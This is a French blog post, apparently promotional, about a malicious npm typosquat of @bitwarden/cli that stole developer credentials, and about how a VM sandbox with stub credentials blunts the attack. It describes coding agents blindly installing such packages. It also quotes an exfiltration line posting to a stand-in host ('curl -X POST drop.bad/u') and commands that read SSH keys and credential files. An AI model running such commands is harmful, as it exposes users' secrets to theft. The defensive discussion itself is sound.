Votre agent de codage a installé le faux Bitwarden
Le 22 avril, quelqu'un a publié sur npm un paquet malveillant nommé @bitwarden/[email protected] — un typosquat qui aspirait clés SSH, credentials AWS/Azure/GCP, jetons GitHub, jetons de publication npm et kubeconfigs sur toute machine qui l'exécutait. Ce dont il se nourrit est exactement ce que les agents de codage modernes font sans réfléchir : installer ce que npm leur renvoie. Voici à quoi ressemble cette chaîne, et ce qui change quand l'agent tourne dans une VM Bromure plutôt que sur votre portable.
La semaine dernière, quelqu'un a publié sur npm un paquet nommé
@bitwarden/[email protected]. Le vrai Bitwarden CLI va bien. Le faux
était un typosquat avec un script post-install qui lisait les clés
SSH du développeur, ses credentials AWS, son jeton npm et sa
kubeconfig, et POSTait le bundle vers un serveur dans l'espace IP
loué de quelqu'un. Il y a une blague enfouie là-dedans — un faux
gestionnaire de mots de passe dont le vrai métier est le vol de
credentials — mais l'observation plus utile est que les gens les
plus susceptibles, en 2026, de taper npm install @bitwarden/cli
ne sont plus des développeurs humains. Ce sont des agents de
codage qui installent ce que le gestionnaire de paquets leur
renvoie.
Bon. Voici l'actu, en trois phrases.
Le 22 avril 2026, quelqu'un a publié sur npm un paquet sous le nom
de @bitwarden/[email protected]. Selon
l'analyse
d'Unit 42, le paquet était un typosquat attribué à un groupe se
faisant appeler TeamPCP — la même équipe que Datadog avait
reliée
à la compromission du paquet PyPI LiteLLM trois semaines plus tôt —
et son script post-install ratissait l'hôte à la recherche de
credentials AWS, Azure et GCP, de jetons de publication npm, de
jetons GitHub, de clés SSH et de kubeconfigs, les empaquetait, et
les expédiait vers l'infrastructure de l'attaquant. OX Security,
qui replace le même incident dans un contexte plus large, l'a
appelé
la troisième venue de Shai-Hulud —
la dernière entrée d'un ver auto-réplicant de la chaîne
d'approvisionnement qui, depuis septembre 2025, a dévoré des
milliers de paquets npm sans donner aucun signe d'essoufflement.
La blague, que je veux évacuer avant de parler de quoi faire, c'est que la fausse Bitwarden CLI fait, en un certain sens, exactement ce qu'une Bitwarden CLI est censée faire. Son métier est de connaître beaucoup de credentials. Les credentials en question n'étaient juste pas ceux pour lesquels l'utilisateur s'était inscrit. Bref. L'attaque elle-même est mécaniquement sans intérêt. Ce qui est intéressant, et ce qui rend cet incident digne d'un billet, c'est qui va l'installer.
Un paquet que plus personne ne tape.
Une développeuse humaine qui veut la vraie Bitwarden CLI va en général sur bitwarden.com/help/cli, lit la doc, copie la commande d'installation depuis une page dont la chaîne de certificats TLS remonte à un éditeur qu'elle reconnaît, et la tape. Elle peut se tromper, bien sûr — c'est tout le principe du typosquatting — mais il faut qu'elle soit pressée, dans le noir, et malchanceuse.
Les agents de codage ne sont ni pressés, ni dans le noir, ni
malchanceux. Ils sont quelque chose de pire : confiants et faux, à
la vitesse machine. Vous demandez à Claude Code de « brancher
Bitwarden pour que le script de déploiement puisse récupérer la clé
API depuis le coffre », et le modèle — qui a lu un million de
billets disant npm install -g @bitwarden/cli — tape
npm install -g @bitwarden/cli. Le gestionnaire de paquets renvoie
un paquet appelé @bitwarden/cli. Aucun humain dans la boucle ne
vérifie le champ publisher. Il n'y a pas de chaîne de certificats
bitwarden.com à inspecter, parce que c'est npm qui est la chaîne de
certificats. Il n'y a, en fait, aucune raison pour que l'agent
n'exécute pas le script post-install livré avec le paquet, parce
que c'est ce que les paquets npm font.
Ce qu'il faut remarquer dans cette image, c'est qu'aucune partie
n'est un bug. Les paquets npm ont le droit d'embarquer des scripts
postinstall. Ces scripts tournent avec les mêmes privilèges que
l'utilisateur qui invoque npm. Un script qui tourne en tant que
l'utilisateur peut lire tout ce que l'utilisateur peut lire. Cela
inclut — et c'est la partie qui devient un problème quand c'est un
agent qui tape — ~/.ssh/id_ed25519, ~/.aws/credentials, le
jeton de publication npm dans ~/.npmrc qui vous permet de
republier d'autres paquets, le jeton GitHub assis dans votre
shell, la kubeconfig qui vous laisse faire kubectl exec en
production. Vous n'avez pas mis tout ça là pour l'agent. Vous l'avez
mis là pour vous. L'agent utilise maintenant vos mains.
C'est le passage où, si j'essayais de vous vendre le même problème en 2018, je dirais maintenant « et donc utilisez un sandbox. » Et vous diriez, à juste titre : « j'en ai entendu parler des sandbox. » Et nous irions tous les deux prendre un café. La raison pour laquelle j'écris ce billet en 2026, c'est que le sandbox qui transforme réellement le scénario @bitwarden/cli en non-événement a une forme légèrement différente de celui qu'on nous propose depuis dix ans, et la différence est tout l'enjeu.
La forme du vrai correctif.
Supposons que, au lieu de tourner sur votre Mac, l'agent de codage
tourne dans une VM Linux qui ne partage que le dossier projet
auquel vous l'avez pointé. Supposons que le ~/.aws/credentials de
cette VM soit un stub — un fichier de credentials AWS
syntaxiquement valide qui ne contient rien de réel — et idem pour
~/.npmrc, $GH_TOKEN, et le reste. Supposons que la VM n'ait pas
du tout de ~/.ssh/id_ed25519, juste un socket ssh-agent
forwardé dont les clés se trouvent dans le trousseau macOS, du
côté hôte de la frontière. Supposons enfin qu'il y ait sur l'hôte
un petit proxy qui reconnaisse ces stubs au fil et les remplace par
les vrais — mais seulement sur des endpoints whitelistés, et
seulement au moment où une requête quitte effectivement
l'hyperviseur.
Lancez maintenant le script post-install de @bitwarden/cli dans
cette VM. Il fait exactement ce qu'il faisait avant. Il lit
~/.aws/credentials. Il lit ~/.npmrc. Il lit $GH_TOKEN. Il
lit même le contenu du fichier socket ssh-agent — un socket de
domaine Unix qui fait zéro octet. Il empaquette tout ça, le
chiffre avec sa clé RSA-4096 codée en dur, et le POSTe vers son
serveur de drop.
Le serveur de drop reçoit un bundle cryptographiquement parfaitement authentique de placeholders.
Il y a deux subtilités dans cette image qui méritent qu'on ralentisse, parce que ce sont elles qui font la différence entre ce design et un conteneur.
La première, c'est que le proxy est sortant, whitelisté, et
au fil. Ce n'est pas un sidecar dans la VM. La VM n'a jamais le
vrai jeton GitHub sous une forme atteignable. Pas de variable
d'environnement à dumper, pas de fichier à lire, pas de page
mémoire à scraper. Quand l'agent lance git push, la requête
quitte la VM avec le stub dans l'en-tête Authorization ; le proxy
sur l'hôte reconnaît le stub, glisse votre vrai ghp_…, fait
suivre la requête, et fait suivre la réponse en retour. Quand le
malware lance curl -X POST drop.bad/u, le proxy regarde
drop.bad, ne trouve rien dans sa whitelist, et soit jette la
requête, soit — selon la politique de sortie de la VM — la fait
suivre telle quelle, avec quelque stub que le malware ait
récupéré. Dans tous les cas, le credential réel est du mauvais
côté de la frontière au seul moment où le malware regardait.
La seconde, c'est que la clé SSH n'est, en aucun sens, dans la
VM. ssh-agent tourne sur macOS. Les clés privées de l'agent
vivent dans le trousseau macOS. Bromure forwarde le socket de
l'agent — comme OpenSSH le fait depuis les années 90, et pour la
même raison — dans la VM. À l'intérieur de la VM, ssh et git
fonctionnent comme d'habitude ; l'opération de signature
sous-jacente se passe sur l'hôte, là où le malware qui tourne
dans la VM ne peut pas la voir. Un paquet qui fait
cat ~/.ssh/id_ed25519 reçoit No such file or directory et
rentre chez lui.
Pourquoi un conteneur ne vous y emmène pas.
Bon. L'objection à ce stade — et elle est légitime — c'est « OK, mais ça fait dix ans qu'on a Docker, on peut faire tourner un agent dans un conteneur, ça ne suffit pas ? » Ça suffirait, à part deux raisons ennuyeuses.
La première, c'est que pour rendre un conteneur utile pour les
choses qu'un agent de codage fait vraiment — git push,
gh pr create, aws s3 cp, npm publish, kubectl exec —, vous
finissez par monter ~/.ssh, ~/.aws/credentials, ~/.npmrc, et
votre jeton GitHub dans le conteneur. À ce moment-là, le script
post-install fait cat ~/.ssh/id_ed25519 et obtient le vrai
fichier. Les conteneurs n'ont pas de courtier de credentials ; ils
ont un bind mount. Le bind mount est exactement le ventre mou que
le malware cherchait.
La seconde, c'est que sur macOS le conteneur tourne de toute façon dans une VM Linux cachée. Docker Desktop en livre une ; OrbStack en livre une ; Colima en livre une. Vous payez déjà le coût de la VM — le disque, la mémoire, le temps de boot. L'argument pour un conteneur, sur macOS, en 2026, n'est pas « c'est plus léger ». C'est juste « c'est ce dont j'ai l'habitude ». Bromure coupe la couche intermédiaire. Il y a une seule VM. Elle est visible. Elle est à vous. Le courtier de credentials et le forwarding ssh-agent sont les pièces que le modèle conteneur n'a jamais su raconter.
Ce que la trace attrape et que vous n'alliez pas lire.
L'autre chose à dire à propos d'un agent qui installe quelque chose
que personne n'a demandé, c'est que très souvent personne ne s'en
est rendu compte. L'agent lance npm install, l'agent reçoit un
mur de logs, l'agent résume « j'ai installé Bitwarden CLI et je
l'ai configuré » en une phrase dans le chat, et vous scrollez. Le
script post-install a tourné au milieu de ce mur. Vous n'avez pas
lu le mur. Personne ne lit le mur.
Le tracer de session de Bromure capture le mur — chaque prompt,
chaque appel d'outil, chaque commande shell, chaque écriture de
fichier, chaque code de sortie — et vous laisse y revenir une fois
la session terminée. « Trouve chaque npm install que l'agent a
lancé aujourd'hui » est un grep. « L'agent a-t-il lancé un outil
qui a écrit en dehors du dossier projet » est un grep. Quand le
prochain @bitwarden/[email protected] débarquera — et il débarquera —
la trace vous dit quelles sessions y ont touché et quels dossiers
projet étaient montés à ce moment-là. Vous n'avez pas à
reconstituer de mémoire ou depuis un scrollback partiel. La
session est le journal d'audit.
Ce que ça attrape
Un agent de codage qui installe @bitwarden/cli (ou litellm,
ou axios, ou le suivant) dans une VM Bromure trouve, quand il
ratisse les credentials, un répertoire SSH vide et un trousseau
de stubs. Le script post-install tourne. Le POST d'exfil sort.
Le bundle est un placeholder. Le rayon d'impact est la VM.
Ce que le reset transforme en non-événement
Si le malware fait quoi que ce soit au-delà du vol de
credentials — persistance dans crontab, ~/.bashrc
empoisonné, équivalent launchd dans l'invité —, rien de tout ça
ne survit au prochain bromure reset. Vous n'avez pas à
trouver la persistance ; vous avez à la jeter. Trois
secondes, kernel neuf, vous continuez à coder.
Ce que ça n'attrape pas
Un paquet qui appelle un vrai backend que vous avez whitelisté —
disons un paquet qui utilise votre vrai jeton GitHub pour
supprimer vos propres dépôts — récupère le vrai jeton au fil,
par design, parce que c'est comme ça que git push marche. La
défense, c'est une petite whitelist de sortie et une trace de
session, pas l'omniscience. Les dégâts dans le dossier projet
restent dans le dossier projet.
Ce qui demande encore un humain
Rien chez Bromure n'empêche un agent de codage de se laisser convaincre de committer du mauvais code. La frontière protège les credentials sur votre machine ; elle ne relit pas le diff. Lisez le diff. La trace facilite le fait de savoir quels diffs lire.
Une dernière chose.
Il existe une version de cette histoire où je vous dirais que la leçon, c'est « auditez vos dépendances ». Il existe aussi une version où la leçon, c'est « arrêtez d'utiliser npm ». Les deux versions existent, les deux sont en partie justes, et aucune ne se produira dans votre équipe ce trimestre.
La version qui va effectivement se produire dans votre équipe ce trimestre, c'est que l'agent va installer quelque chose qu'il n'aurait pas dû, parce que l'agent installe beaucoup de choses, et que quelque part dans la longue traîne de ce qu'il installe, il y en aura un que quelqu'un se faisant appeler TeamPCP ou Shai-Hulud ou comme se nommera le groupe suivant aura uploadé mercredi dernier. La question, c'est juste : quand ça arrive, le script post-install trouve-t-il les secrets, ou trouve-t-il un mur ?
Bromure Agentic Coding est ce mur. Il est aussi gratuit, open source, et livré dès aujourd'hui. À vous de jouer.